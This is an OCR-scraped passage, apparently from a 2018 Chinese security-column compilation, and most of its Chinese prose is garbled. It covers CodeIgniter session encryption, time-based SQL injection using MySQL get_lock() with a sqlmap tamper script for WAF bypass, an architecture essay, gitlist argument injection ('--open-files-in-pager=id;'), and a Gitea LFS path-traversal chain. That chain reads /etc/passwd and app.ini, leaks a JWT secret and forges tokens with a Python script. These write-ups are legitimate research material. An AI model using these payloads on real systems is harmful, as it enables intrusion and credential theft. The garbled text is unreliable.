$rand .= mt_rand(@, mt_getrandmax());
}
$rand = $this—>hash($rand);
$enc = ',

for ($i = 0; $i < strlen($string); $i++)

{

$enc .= substr($rand, ($i % strlen($rand)), 1).(substr($rand, ($i % strlen($rand)), 1) ~ substr($string, $i, 1));
}

return $this—>_xor_merge($enc, $key);

b

function _xor_merge($string, $key)

{
$hash = $this—>hash($key);
$str = '';
for ($i = 0; $i < strlen($string); $i++)
{
$str .= substr($string, $i, 1) ~ substr($hash, ($i % strlen($hash)), 1);
}
return $str;
¥
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Hep BRI Tmt_rand, FRRFFEARERBNTE, FHAEI/L M EEMMAE ( https://github.com/Di-
onach/CodelgniterXor ) , BIRI7E4FVE|40 ShaORT(E), FRARCI2RIZER,

RERZ T2, BN EESsession, HESERLMNE, &EHEEERF, IAEENER,
HEBIREFIICRIEEREARNES.

0x06 245
RIN=A RHIIRIP T B thsessionfIR L IH.

ER=1 e, WRsessionZEFERSFZXXMLTEESR, WATHI. SR, BEElaskici#p
BIFERENWebiER, RAUBGITELERFEXGARAFRIRBEEENRS S L, FINEPifsessionE
TIER R,

BRIEZ Fb, FoR el RI HthE FifsessionAlBEFEN LT ERE:

1.2 Z{EAhash® A MIEhmacR i, SHABhashKET BRI EH RN iEsession

2EBNMHIERSHEBAME, #—FPERSMNMERESRFIMEIRE (http://www.loner.fm/drops
/#!/drops/227.Codeigniter%20%E5%88%A9%E7%94%A8%ES5%8A%A0%ES%AF%86Key%EF%
BC%88%E5%AF%86%E9%92%A5%EF%BC%89%E7%9A%84%E5%AF%BI%ES%B1%A1%EG%B3%
A8%E5%85%A5%E6%BC%8F%E6%B4%9E)

SUREFimsessionfINEARZER, FIACBCETRMERE, BATUELMNE sessionFEEBH £
', KRNSO INENER

BN, EA—TTTRE, WRBANVMERIwebIEZREwebiES HsessionEFHEEIRT, ABFATR
FICTE/LA:

1LRBEMER, AP BRI EENsessionIT R,
2B/ BRI TEYRFHENE LT, AP UEREREsession,
SEMABENMBRERE L, MAsECE (RfEldiscuz) .

046



KE=RAEZ2018FEXE
Chaitin Tech Column 2018

03
Apr.

—MIFTASSQL
NIEIRSPEREG

fEZ&: do9gy

=

T
-
>
\

SQUENRIFHMRER, XTEINH-—EHfZEXEEFEERMANIEDR, LSHEFE T HEEIDNSIME
BB ETEoldjuniiEE, HETHOXMBISALS], ARG ERBT mysqlhiRAFMwindow AR HIBRHY .

BAENMA—TH4ESALEE

ESQUEIAAF, AERESINBHE HSQLIEY, SIFEFER TN NEWNBERERENEL, #BHN
FiEA: “RET (error-based) . “BAEZiH (union-select) . MTLEEIEZEDEEABTHIEREERT
true / falseZF#IBf (boolean) . BIEIXSLL (time-based) . DNSIMEHIEZM (data exfiltration  through
DNS channel) 5 EFTHTR, BIE0: “select  if(user()="root@localhost',sleep(4),null)“  HRWILAFZ”

root@localhost ‘B, RIERAWHEIREILER, HEFARE root@localhost“BY, =IZENRE, HILA AFIETER S

FAF, FBERNSENUEN LR EEANMESEFEMERPEFRNAR.

KFmysqlbF[BZKE (time-based) BIEN, —EHLERARFTEAME =M 5 E ——sleep. bench-
mark. SF/RIR, AAUFZHELHOWAFF R 2E T RN AP,

{BRsqlf B RO E EAREAAENNSQLES R FERIEER, FRNRE AT FHNEIE
RofE L, BETME D IATRINAIRTIR, A S MMILHFIIRE B7E100msA, FNBRNEE
S AEATI200ms )t A9 B K R0IEE) .

SRBMNERFIA—TmysqlEREZE get_lockEE, kB —Tmysql XX hxd EagH A :
GET_LOCK(str,timeout)

Tries

to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of

the same name.
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E—"Psession R ASEHIE—Z & 490 select get_lock(‘do9gy’,1)

RIEEIE B —Tsession BRI Tget_lockRER select get_lock(‘do9gy’,5) LN & =45 MRIEIR, H
R LM Fsleep(5),

mysql> select get_lock('do9gy',1);

| get_lock('do9gy',1) |

I 1]

1 row in set (0.00 sec)

mysql> select get_lock('do9gy',5);

| get_lock('do9gy',5) |

I 0 |

1 row in set (5.00 sec)

FEIENMATU, B AERFSQUEANFIET, BERFBHISESBERERHN: SERERKER, &
Apache+PHPIE IV IME R T E(F R mysql_pconnect REREIZIIEE.

TEHNGEE—TRE:

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{

die("403 forbidden!");
}
$sql = "select * from article where id='".intval($id).
$res = mysql_query($sql);
if(!'$res){

die("404 not found!");

nwin,
’

¥

$row = mysql_fetch_array($res, MYSQL_ASSOC);

print_r($row);

mysql_query("update view set view_times=view_times+1 where id = '".$id." '");

?>
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ZELF, BT UMIESQLIES ?id=1

and get_lock(‘do9gy’,1)

N
P
vHr

IR HTFget_lockEETHsessionidK, FIAHERITRE—RAUEEESEH—EKNE (¥
, 1tApacheEFF I A —"1iEZEMysqlils

i

ession, UIEBTFEAI AR B get_lock# TR T, XELH—NEFsqgmaphtamper:

sleeptogetlock.py

#!/usr/bin/env python

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission

from lib.core.enums import PRIORITY
_ priority_ = PRIORITY.HIGHEST

def dependencies():
pass

def tamper(payload, sxkwargs):

Replaces instances like 'SLEEP(A)' with "get_lock('do9gy',A)"

Requirement:
* MySQL

Tested against:
* MySQL 5.0 and 5.5

Notes:
* Useful to bypass very weak and bespoke web application firewalls
that filter the SLEEP() and BENCHMARK() functions

>>> tamper('SLEEP(2)")
"get_lock('do9gy"',2)"

if payload and payload.find("SLEEP") > -1:
while payload.find("SLEEP(") > -1:

payload.find("SLEEP(")

1

index
depth
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num = payload[index+6]

newVal = "get_lock('do9gy',%s)" % (num)
payload = payload[:index] + newVal + payload[index+8:]

return payload

HBRMIATIRES| SHIFRT AT BAMER get_lock(1,1) BIEHFEELT .

&, BERNEANERZEZZMENBEIALARREBHITHN—RRR, ALMMERA—EERES

ERIR, REENESRE —HAMRERM, 84085200, MEAXZEREREEFRE.
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k7 IUSEMNIAEZR Y
= HOSE I

EE&: villdn

0x00 Intro

ANXETE-—RBXE (XM EERNENSIRIT) AT, FELKRTHEL—RXERRIN
EMIEMIRIT, BMREBESFMIIN ., SARBHZFMZBEIEMEFNEE, TEREBRDEEMN
HEZHME, YSENIENMNETLRBERETNERNREA, AXFEBR—LEXT IR A ESL KT
HEMFENET.

Quick Look:
o BB RERFEM vs [RIGEUE S
o« ZREIRITIAFER vs Over—Designed

e Service-Oriented Architecture vs {2&%E S

M EJVMESRE FANXERBZLRE, FRETREINF

Ox01 W SSFEKEBINFHE vs [RIGEIE S 1+1%

AEDET, WSEERZNMNE, SMAPZROMNBEXREHZEIAWSEM L/ AmB( )&
B, ARNXEFHRERAAE —TRANER: REHESZEER, MARENESTEN, NREBE
B IRERTTAENERBESIIZELE, INNERMEBRSZ:

1.Formatter 5§ API #HE: AB—TIEERTHNER (WB—EKER) HIRE— Formatter KEER
BAWSFRNER: HESFRBEIENE AP,
2 FR LR DI B USRI : IR EEIREIR NI IR IRENNIN, Producer 1 Consumer [ERTE
—EMSE, Producer NEEX[ Consumer REBEMAFRRE, i REHRFGSMINNFEEREE, [F
¥, Consumer AROMEOEA, hWBEMNEFREEILDETUZRFE,

XML RPN —ERE LER BERERFRMEESREIESHFEZENTE.

051



KERAREE2018FEEE

Chaitin Tech Column 2018

Formatter @ API 7€

Q: A AN WATIHNA? BT AKEKIG?
Ar MNAERERR, XML BESHEELDRHFEZNMmENBRL R, @I 2N ? SH/KRGAE
BRENDBDEIMECLRERZNT . SRXHAABREZNAY, ERDERATE—KREE.

EERIMENE, USHFRAHT—ERRIKNAFEOR, SARBRENETEEHI—ERE
TRENKE: BHENFELEEFETRER. FRANARERTR, FE—EHN APl T (FJEEER
Swagger EHE Rest API) R4IEwTIH WSS EiRFBEIENGEE, RinFENRENSRERFRNE
InR MR EIETETE.

HRERAW Rest APl S EEMANARZBR o XELBIEIRDET & LBEE, BEF—"1
R BERRELEN, U EX— 1T FEEMTE:
Hai REFWSHRRS MM ERIBRER Z [BF &

HSOFEENREL AP i EREEE Formatter XMA R, BRUEMBAFZRIEKSHNVEFMEMEN
B, hEERE:

TR >> FA9 APl >> FROIAE S il

HAB(E, 81 Coder #ILBBIMIEH KUK A EMFFT R D 0 B LR mEIIE, XIUH?
IR E BURFE IR NS E EHE REN N
XMGEELE A URATRE EEBRE E—MERIRRR
HmiBKNEFP WS A BRI RIBIERE 2 (87 &

Q: XMTTENLE—MBTATRX5H?

Al RELEEIEARNAEZEM T —THERE, BERBEX—THERE, RIEFRTEER
IREUREPIE T LARMAVEUE, HAEATEBIE—THERBNUE AP, MEERERERE R SE
2 BRAFHBERACESERENREHELIHEN, XTHERABEHTAE, ¥ ehEEE, AR
ERg, RIBHIENZS MR RINE O SBIRHTZ N,

XA ARZEIHHARE—MIEE, ARLEWEMIENAFELXH, HEEE TIEFERTFNFF
AL, EHFINAXMBZN G EEIARMEL IR BIFIHAEILH (Proxy—Pattern) 7

1.AMQP 1 Exchange RYigiT

2.GraphQL &1t
0x02 AR RITIAFEK vs Over—designed

Over—designed #i@idEigit, REFTIIMNMEZE EREEERESNT ZRMIEIT.

HIAEXMEAH, “9FEK" 5 Over-designed MFBEHARLETERERAT, RMEERSH
5, #E K4 Over—desighed AY[E) &R,
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o KEBRMEZA Useless MNINEESEK/E Over—designed
o N ARSBAIEARLT Infrastructures 511535125 7 BIFIX 251 Over—designed
o WEHLA A FE 4T RS Over—designed
e hype—driven development

X MERFR, FMNEIBRERE—MER—F, REBANAEEEZERNFIKRKHRN  Over-de-
signed, M—FFiatEft Code ERIHIE, H—BEXRDMFE—MER, MENBESRBIPNEGEMZ WS
I o B, RRSXEILFZMNIE—MIEXK, bl HDD (Hype-Driven Development) IEFEiz—EHRZ
RARRIIERE,

HABREXMERFIRE R RKFARETMEBIRN WS HTER", MENRANE—T Feature
REMEERGITEZREERENERE, RTHRECEMT —L " RE"., IHNEEBRESSHABR
R, HEKIRIT: HERANBESRFXD Feature BXEXNIFIA Feature AIREREENRARIARRII, M
B TEZNBANNBEEHTEX—MERNITFEL, BEXM BRI RE EXEARZEN,
ESTHNEENNIE, RMARR, T —TRERIEN Coder Kk, EXMA—ITEEFIIERK,

FRIBHFERAZE Over—designed, ZRRKEER “FAEENTE— Coder KRHEE—MEKK

WA, FREFEBH—TOF: MRSE-—HSMEFNIEYE, BRENENAZEHERFHNRSHM
—EF1G? BAXBEERABIAN, RSENEFFTERS, RSOMLBDTFENS, BFEOHIORIT,
EEEF L, WMiEFL, DevOps #HEEM A, — 1 Passion Coder BAZIEEHEXT Cloud Native M
ZHRMEOIRAR, BR2SEEINHERANGRAE, ARE, MEENEEMBRSEIMSERENSHR
R B, BREEBSBENE, MEEARNASENESMRS? SR, FIRRMNERARARIET
RZRZINE, (FNRARARATTEMRS T, ARMEAFTERAEIER? T2EREN  SOA? XLEHSE
HE— 1AM Coder FERBEZNREM, HAREZFIMEA, RBAMITMT.

https://aadrake.com/posts/2017-05-20-enough-with—the—microservices.html

PAMEE X MIUEBRK", &M, HENRAKERBZHES 5 X E Over-designed KRN,

0x03 Service-Oriented Architecture vs i85 E =

BEX M HFERE XREFRTRE—EZIINE, MNHUCEAXZENRBE—HRRS 28BS,
®it LIRS, EEEREZENSEES, — S —DS8K MBER, BBTRZMRAE, FEREBEMNES
o, BRESXLERZRAIMENESITICHNRA,

AXHRNDREEE L —RXEER TEENIIENBERMRS, RS ZEEEFTEETHEBA
5, RAtb, BEXREMABNRSZENBENZEVLNEBENIEESHY, X2, FHAIEXD Topic
WS EAAYE)
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TREARERE LES

‘AT RSHEIEEAZSIRIE?

 “BAIIE Postgres MR ORE LR, (REZRSIEHEER"
“Models & Git EFHRINE, COPY ZIRABERIAILL”
2, S77LR, BATKER, PERETEEEN......

D “HBEW Models, fRABEFIEthREZE "

DL IEERTjpg”

© “FRMY Migration EAZAB[RA? 12 A 17T Models? ”
DR, HIRE, BIEERRIN jpg”

rx @ >

d

> W > W

RAFRIISIE, WHSESEEMEFRAEN, XTEEREFNE TR IARNRSETRIRESR, EXH
1828, Feature MTFERAVEM, HZSHERNSXMEEMAXBKNRSHCIBINE; EMRFNERR
AN T HEM RS Z EEMmEE.

MLRARCEBTRBERR, AT LATERAREXBEDICRERIER, #F—E8ah5ELE
I FREUEEMINAIEIEEERRIE, ZIMEREFEBSZENEZFFHFIRENEZ, tkal: —AH{EH ORM
—hHREER ORM, HEWS ORM WEEERENRESIPR, EERER—TRSELEEFREL
RN E =R IR E A RS .

EEFONBHEGE

A "BENRIMEREE, B MQ RS[TB T
B: “BBANTTRNEER G FENNZEEMBR
A: “Orz..... R—RMERIEMA"

HERARZEA], FJeMBENNBEHZEEXMEE, AM—TRSNIBERSH T AMEEXHH
W), E—DERENSH, FTEEE-AREEXHABTNEA,

SR, IPEBREEEN R A B LT BIRE, RFJEARM DNS BB EIFTT R Es LR AT A
75 BRR-TEENSEHSHROKIKEA, AIANERASR ZRERRN.

SRUHARRBNERR: EREFROMNERNEREROEF ] UERZME)E, (WRIRNEE
RO ETRE, BMEREER TIE)

REFOEIOHARZIMARXALRE, RSIM, BxhRIl, EE—ERSFEMEENEL,
ERBEELTLUBIERE P ORM, EXHKF, Etcd M Zookeeper N AMIMEXNEEIRZ, L Zookeeper
B, EERNTCANERFEITMBRAENARSARERMTAIESRHE, Zookeeper EFln—HxE BHENA
EBEHE, & acl Ml ZK BESINERLT, T2 UHEFRSREXGHERBEEED HRARLERN—
Wi, B, RER, HERIE-ENREM,

PNHERIEBMIESRS Infrastructure
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BRY LERINEZH ELENBSEE, AAREIERABNBSHERRENSIANER, EEFEE

FENRBIKAZTHEMN, REBERNRENGFEIME —LEMIRMARENER, XEHEM T AH

FERNRBESHEEENERN, FHit, MREENE-TRSOHEHRTRSH L BAENEOER, A6
SSHEMRSERLARENBEERET,

BREDANEFREXFNEDEENERN, MABKEMS, BRRXMEMAEE, ERFNSRN
HEBHhRAE. =HE, ABLARNRBENRMBMZEERAEN, E— MRS Stable KRR, MAYER
HNABRIEENEMIZBNE—FHENERE, BRANABRBEBNERSHRSLNFE.

0x04 OQutro

HAREXRNIEF, BENEDEHATRRAZ, EANKRRFRER T =TREGARMENSER
RE-LEHCMSHNIE, FERIUMESIE, SIRRE—ERM ;-)
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SHOENREE, ENTH<SHNE, BPEG 7THa<PNENSE, AEd—LERSHINEE,
BRI ERIEA,

HAIMgitlistinie, gitlist2E—RERPHPHFANWEF A oitBEETE TR, £H0.6.0MAR, ZE—4t

WLBEENDR, FIUSHInEaGSHITIRIE,

FRPNBERNEHITERNNE, gitlistiiEAgit grepar<:

<?php
public function searchTree($query, $branch)
{
if (empty(s$query)) {
return null;
¥
$query = escapeshellarg($query);
try {
$results = $this—>getClient()->run($this, "grep -i —-line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;

Hreh, $Squery2iE R XHEF, SbranchEE RO,

MR AFPBANSqueryfI B E-——open—files—in-pager=id;, JErIAHITida@<:

# @ OrangeDeafening-VM i1n ~/vulhub on git:gitlist-0.6.0 [18:19:45] C:1
$ git grep -1 --line-number '--open-files-in-pager=id;"

uid=0(root) gid=0(root) groups=0(root)
id;: 1: id;: base/gitlist/8.6.0/config.ini: Permissior
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SEXNRENERE, BILR:

1. & EX Fescapeshellarg K EANRER, ERSEEN
2.git grepf S E——open—files—in—pagerfyid, B EERIT

gk, Eé§ﬂ$query escapeshellarg($query); 285, SquerylST— T HES| SEENFERE,
EAYRENEIRE, XTFEMNBNZEIE SHE WMUE, MARERIESEIEI (option) H,

BATRI DO — T Fan<
git grep —-i —-line-number -e '——open-files-in-pager=id;"' master

@ Or )eafening-vM in ~/vulhub on git:gitlist-0.6.0-rce o [18:
3 glt grep -1 ine-number '--open-files-in-pager=id;' mas
uld Oiroot] gl (root} groups o(root)
id;: 1: id;: basesgitlist/8.6.8/config.ini: Permissior

# @o afening-vM _in ~/vulhub on git:gitlist-8.6.0-rce o [18:10:54
$ git grep -1 --line-number -e '--open-files-in-pager=1d;' master

= F @ OrangeDeafening-vM in ~/vulhub on git:gitlist-8.6.0-rce o []*HJ@EW[_—FJ

EE, FRSquerylET -eSHNENNUE, ENEMNNE—TFRHEME, FAZWAMSE

——open-files—in—pager,

XNIZENSRANSREBE HiE, hEQitE AN patternfJgEE AP WMANIE RN —MBESTZE (I
TiRBAZR Eman-page)

-e
The next parameter is the pattern. This option has to be used for patterns starting with — and should be used
in scripts passing user input to grep. Multiple patterns are combined by

or.

HAR, gitlistFEAERT A —MEERZER:

<?php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
¥
$query = preg_replace('/(-—?[A-Za-z0-9\-1+)/"', '', $query);

$query = escapeshellarg($query);
try {

$results = $this—>getClient()->run($this, "grep -i —-line—-number —— {$query} $branch");
} catch (\RuntimeException $e) {

return false;
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B tApreg_replacel§-FkMAEEFRBIFR, AERSqueryiHizE-—-NEHE.
EmLTENRT, —-NERERE, ENHEsAEBEESHEIN (option)

A —— signals the end of options and disables further option processing. Any arguments after the —— are
treated as filenames and arguments. An argument of — is equivalent to ——.

If arguments remain after option processing, and neither the —c nor the —s option has been supplied, the first
argument is assumed to be the name of a file containing shell commands. If bash is invoked in this fashion,
$0 is set to the name of the file, and the positional parameters are set to the remaining arguments. Bash
reads and executes commands from this file, then exits. Bash's exit status is the exit status of the last
command executed in the script. If no commands are executed, the exit status is 0. An attempt is first made
to open the file in the current directory, and, if no file is found, then the shell searches the directories in

PATH for the script.

OCELUENSET A, o

geDeafening-VM in /tmp [18:48:22]

N = g $ cat --name )
& S{TﬁF%E——nameE’\jﬁdﬁF, @Zﬂ] cat: unrecognized option '--name’

Try 'cat --help' for more information.

MALEMcat ——nameiREY, thTEE

- @ OrangeDeafening-VM in /stmp [18:48:25] C::
Ficat '—-—name', MhIERcat —- $ cat '--name'
cat: unrecognized option '--name'
——name, MIXTHIFHEEEL, Eo| Try 'cat --help' for more ir ation.

EHREX DS —INFEEESHE" T @ Ora fening-vM in /tmp [18

% cat -- --name
ﬁlﬁ’,ﬁ’ﬂifﬁ;&o test

FINEARMEE R RZBERIEZRN, RTTE—FHIpreg_replace’d RN EERRINEE.

HEPHPIEZ MRS —EXIPHPITH L 175 AR, PHPREBMSSHATES (Wshell_exeo.
system) , MREFJ—NFHBENSH. MEAKTR, X PTPHBEREREEN—Fshell B2 K
A, XMER TN RIS SENRA.

BT, PHPES SRS T A M RRE:

e escapeshellcmd

e escapeshellarg

“EPIARE, BIENTLERPF Ashellli—LLERIT (M9S5S, R515%) , MITEMSGS: BEL
ATHIERFPHNmARELE “SHENUE, TH—T"SEE,
BEREOXO2FHERRBER T, NRAFAEEHEZEGISMNINR, ESqueryBIZRAHIRE "SHIEIT 1Y
fI& F, BBFescapeshellargthiiZIF AR T,

Java. PythonFIEE, HATa<HITD AN IR EMIHE:

import subprocess

query = 'id'
r = subprocess.run(['git', 'grep', '-i', '—-line-number', query, 'master'l, cwd='/tmp/vulhub"')
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ZINIBR T, pythonfsubprocessiz=Z 2 —1FIFR., BAIATGREFPBE AN query IEFIFRN—IN,
XELHBER T AEAEFIE Y queryfI TIE, EEMIBAR EHEGSIENTE. BrRIIENZ, pythonZEFF
REMNEE, BNNXEYFEPHPH MWescapeshellarg, AT MR XS queryEF

——open-files—in—pager=id;:

5 query =

6]: r = subprocess.run{I : ., query, 1. cwd=

uid=0(root) gid=8(root) groups=@(root)
id;: 1: 1d;: .gitignore: not found

£ I

AR, DREFESHENRAN, BREERO02RER, IRBquery 7T “SHER (0l E
b, FREALE, SERAEMES, BRTERRIE,

SHGENNIFELERZ, RAKRSDOTRELHREERGIIANRE, BLAETHIIENG, FE
AESEUIANRI B,

N

=

¢

BE ZEWordpress PwnScriptumifgiid, PHP mail REBIEL NS, RTEREIASH, B
FPEBEAN-XZH, SHENEREXHE, &&getshell,

BB EFEphp-cgi CVE-2012-1823 , frcgit&=H, BHFP{EANKquerystring&fERcgif s
H1RLaphp-cgitn <. Mphp-coitn L PIMA-dZHIEEEED, FEil@dIEEauto_prepend_file=ph-
p://input, REZSHEERBRIT.

ZPig Fth BT EMNASIRE, EblElectron CVE-2018-1000006, Ffi 1@ 3F NS #-—gpu—launcher=
cmd.exe /c start calc, KitelectronNERIchromiumFITERGR S . electroniaxF L8 HMNE RIS S EHHZR
/ﬁﬁﬁﬁﬂut“__”o
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GofChREE 1T
' AR ST IRE P
gitea iz LI T MIETE
YEZ&: PhithOn
XE— I ERE=SREE, B2sIT.
FAdockerskEMHZ S XMIRIE, EHIRM T dockeriE %, vulhubths X PIAE,
RA—. ZBEBEIRSEINFRS T
XEXRRBEENSNE, EEMEGt LFSHLNIEZBiEH,
Git LFSEGItIAXHIRBENFERE, HIITLIRREN, MEEENHEFEEQItEEIN, MoteERREFME T

BOXMHNRS] (—TEFE) . 245, git objectsT. gt X AR TELRRAEXIXMAH, XN AEEFEIIR

£+, gitealER—NitRSE, hiR{ETLFSINEE,

7 modules/Ifs/server.go X, PostHandler2POSTE KL RR AL :
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W, EREEDEEXNROGE

if lauthenticate(ctx, repository, rv.Authorization, true) {
requireAuth(ctx)

ERENRIERT, XH1T T requireAuthpRE: X PREM T HHEE, —25 AWWW-Authenti-
catesk, “RIREBIRTEN401, URE1R, EREMPRMIERT, HREEIEHITPostHandlerR%R

AT, XEFE-OHRRGETIRE.

wiE—. BRZFHRME
XMPRSGYREASHNERE, AENNERBFPEIUAENE (EEEMUvulhub/repoyfl)
BIE—PGit LFSW &,

XPLFSK &R B @I http://example.com/vulhub/repo.git/info/Ifs/objects/[oid iX#rY3% 3K 1H
8, Ltk TEH . BARNSZE, HEF[oid]2ELFSYZRMID, BEFIRE— A%, 1BgiteahHEHMREXMND
AHEBNFER, ILESHEZTRENERARRE,

BAFAE—RE, TEE—TH8IES, 1B —10idA...../../../etc/passwdBILFSIT &R :

POST /vulhub/repo.git/info/lfs/objects HTTP/1.1

Host: your-ip:3000Accept-Encoding: gzip, deflate

Accept: application/vnd.git-1fs+json

Accept-Language: en

User—Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 151

{
"0id": "...... /«./../etc/passwd",
"Size": 1000000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
}

Hr, vulhub/repo2—1NAFHINE,

tEER, ITRENABRBEFEN, E—TFEMERFEE—TATIE. Nftalk? 2R CIRBLFSHR
OBMRSESRE, ERERXTNRAARNIMG"ZHORERE, 2FENEMESHERRIBEIRNLFS KT
NI, REAFIEZ EMRIEZN.
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WTE, RFEBIESRE, R2AKE T40TVREE, B EXPLFSHREZEIEMRD), HEOIDRA
...../../../]etc/passwd,

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST jvulhub/repo.git/info/Ifs/objects HTTP/1.1 L HTIP/11 401 Unauthorized T
Host: your-ip:3000 P set-Cookie: r
Aceept-Encading: gzip, deflate Set-Cookie ; Hity
Accept: application/und git-Ifs +json Set-Cookie: BMUNUN Ko7 ququUaXEt 07FosMTUzMTQSNDUSNDMSoDazNTQDNg%aD%aD Path= /; Expires=Sat, 14 Jul 2018

Accept-Language: en 15:09:54 GMT; HttpOnly
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) ‘Www-Authenticate: Basic realm=gitea-Ifs
Connection: close X-Frame-Option: MEORIGIN
Content-Type: applicationjson Date: Fr, 13 Jul 2018 1509:54 GMT
Content-Length: 154 Content-Length: 493

Content-Type: text/plain; charset=utf-8
{ Connection: close

ol o/ Jetc/passwd”,
10

J.Jetc/passwd","size"1000000, "actions"{"upload"{"href*"https
gitfs", uthorization: Basic

erify 0/vulhub, t/info/ " "header"i"Accept's"applicati
‘"Authorization: Basic dummy”},’ 001-01-01T00:00:00Z"}}

HFIHE@leavesongs.con

BT, MEHEXMNR, hEAEMEGETIE Rhttp://example.com/vulhub/repo.git/info/Ifs/—-
objects/[oid]/sth, oidFlE@RIAIEEN, XEEZAurREBE—T.,

UURS

/etc/passwdE# AL IHIEEN :

Request Response
Raw | Headers | Hex Raw | Headers | Hex
GET /vulhub/repo.git 962F .362F . %2Fetc%2F passwd/sth HTTP/1.1 & | HTIP/1.1 200 OK .
Host: your-ip:3000 Cantent-Disposition: attachment; filename=":"
Accept-Encoding: gzip, deflate Content-Length: 1000000
Accept: #/* Cnntent—Type' application/octet-stream
Accept-Language: en Set-Cookie en-US; Path=/; Max-Age= 2147483647

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Set-Cookie: hke gitea=6ee99ad664cb3903; Path=/; HttpOnly

Connection: close Set-Cookie:_csrf=I3-mg7dQplUGeYp8BaZwuzzmawl EMTUZMTQSND XN DAAMTKZNTCAN Q%3 D%3D; Path=/; Expires=Sat, 14 Jul 2018 151154
GMT; HetpOnly

X-Frame-Options: SAMEORIGIN

Date: Fri, 13 Jul 2018 15:11:554 GMT

Connection: close

:/root/bin/ash
sbin/nologin
laemon:/sbin:/sbin/nologin

fvar/spool/Ipd:/sbin/nolagin
sync:x S:0:sync/sbin:/bin/sync

ol :halt/sbir/sbin/halt
mailz8:12:mal/var/spool/mail:/sbin/nologin
ews:/usr/lib/news:/sbin/nologin

:operator:/rooty/bin/sh

operatorzcA 1
manoc13:15:man:/usr/mans/sbin/nologin

ar/lio/ftpi/shin/nalogin
sshd:/dev/null/sbin/nologin

squid3 13 1:S quid:/var/ cache/squids/sbin/nologin
Font

g
/var/lib postgresal/bin/sh
ust/cyruss/sbin/nologin

ntpoc123:123NTPy/var/empty:/sbin/nologin

questzcA05:100:guest:/dev/nully/sbin/nologin

catchlogoct 002107 catchlogy/home/catchlogy/bin/false
it>1000:1000:Linux User,,/data/qit./bin/bash

ErlFE@leavesongs.cony

Bo, BAVKBEBNT2LIRIE]T /etc/passwd X 4.

AE3 modules/Ifs/content_store.go :

s.SEEK_CUR)
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A0, meta.Oid#RfE NtransformKeyREL, X PMEREE, BOidEE#RAL T key[0:2]/key[2:4]/key[4: 11X
MK, BIFD. FERNERMAOERSE, FUTNFERFUEHNRABIEAXHESZ.

B4, HEIEMOIAA....../../../etc/passwd, TEZR S transformKeyKEEMER T ../../../../../etc/~
passwd, s.BasePath@2LFSYRINEMBE R, “HEHZEEAMIELENEIT /etc/passwdX 4,

EMEFE_TRE BERFH.

mm=. REEEXM, WEJWTEX
vulhub/repo AR — AT, BRINREIRINR. RNBBH—HFA.

BAMBERZWRE, TOEREgiteaEE XXM, X PXHESGITEA_CUSTOM/ conf/app.ini,
$GITEA_CUSTOMRZgiteatUiR B, BRIARZ/var/lib/gitea/, fEvulhubE=Z/data/gitea,

FrlA, EMLFSHEB ZE#MEI$SGITEA_CUSTOM/conf/app.ini, EE/HEHOIdE....gitea/con-
f/app.ini (ZIEIREMETH T /data/gitea/Ifs/../../gitea/conf/app.ini, & /data/gitea/conf/app.ini,
FREES S LHNPOCE—RRERHA, XTOJHEEREFENESCITEA_CUSTOMANIZEHITIHE, )

RIMEERIEL B X (hEfR K EPOSTEEIZEOIDA....gitea/conf/app.inifILFSITR)

Request Response
Headers | Hex
I itead%: pp.ni/sth HTTP/1.1 4 HTTP/1.1200 OK E

ge=
=5b3e650ad7784437; Path=/; HtpOnly.
20FKOTAZO3Kat cxF fzfIN%_ABMTUZMTQSNzc5MjcyODYANZASNQ9%3D %3D; Path=/; Expires=Sat, 14 Jul 2018 16:03:12

i en
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Wing4; x64; Trident/5.0)
e

: SAMEORIGIN
018 16:03:12 GMT

APP_NAME = Gitea:
RUN_MODE = prod
RUN_USER = git

it with a cup of tea

[repository]
ROOT = /data/git/repositories

[repository.upload]
TEMP_PATH = /data/gitea/uploads

eeeeeeee
APP_DATA_PATH = fdata/gitea
SSH_DOMAIN = localhost

HTTP_PORT = 3000 ]
ROOTURL = httpy//localhost3000/

DISABLE SSH = false

SSH_PORT =22

DOMAIN = localhost

LFS_START_SERVER = true
LFS_CONTENT_PATH = /data/gitea/Ifs

LFS_JWT_SECRET = 0UsPAAkeic5HaBMHPITVHxTeCrEDc295L6f0JuVp73c
OFFLINE MODE = false

[database]
PATH = fdata/gitea/gitea.db
E = sqlite3

VAR

ssssssss

1
PROVIDER_CONFIG = /data/gitea/se:
PROVIDER = file o #hl#Eleavesongs.con)

REXUHPRERZSHRBEE, WHEEKSZE., —LTokenZE, MR EsqlitefiEE, HIIEZRRER
ETrEZ, H8, 87 salt,

Giteadr, LFSHEROZFERAIWTIALE, ENEREMIEEE XEHPHNLFS_JWT_SECRET, Fild, XE
AT AR IEIWTINE, HTIRELFSREANES IR,

HATHEpythonEA EX :
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import jwt
import time
import base64

def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='x (4 - missing_padding)
return base64.urlsafe_b64decode(data)

jwt_secret = decode_base64('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f@JuVp73c')
public_user_id =1

public_repo_id =1

nbf = int(time.time())-(60%x60x24%x1000)

int(time.time())+(60%x60%x24x1000)

exp

token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload’,
'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256"')

token = token.decode()

print(token)

Hrh, jwt_secret@FE _ PMIREAIZEEIANETE; public_user_id2INB A EMIM, public_repo_idZ
mBid, XTIMBELFSAAEMNINE; nbfRIEXTEXMFBRETE, exp@ X TBX RS E, RBEHE]
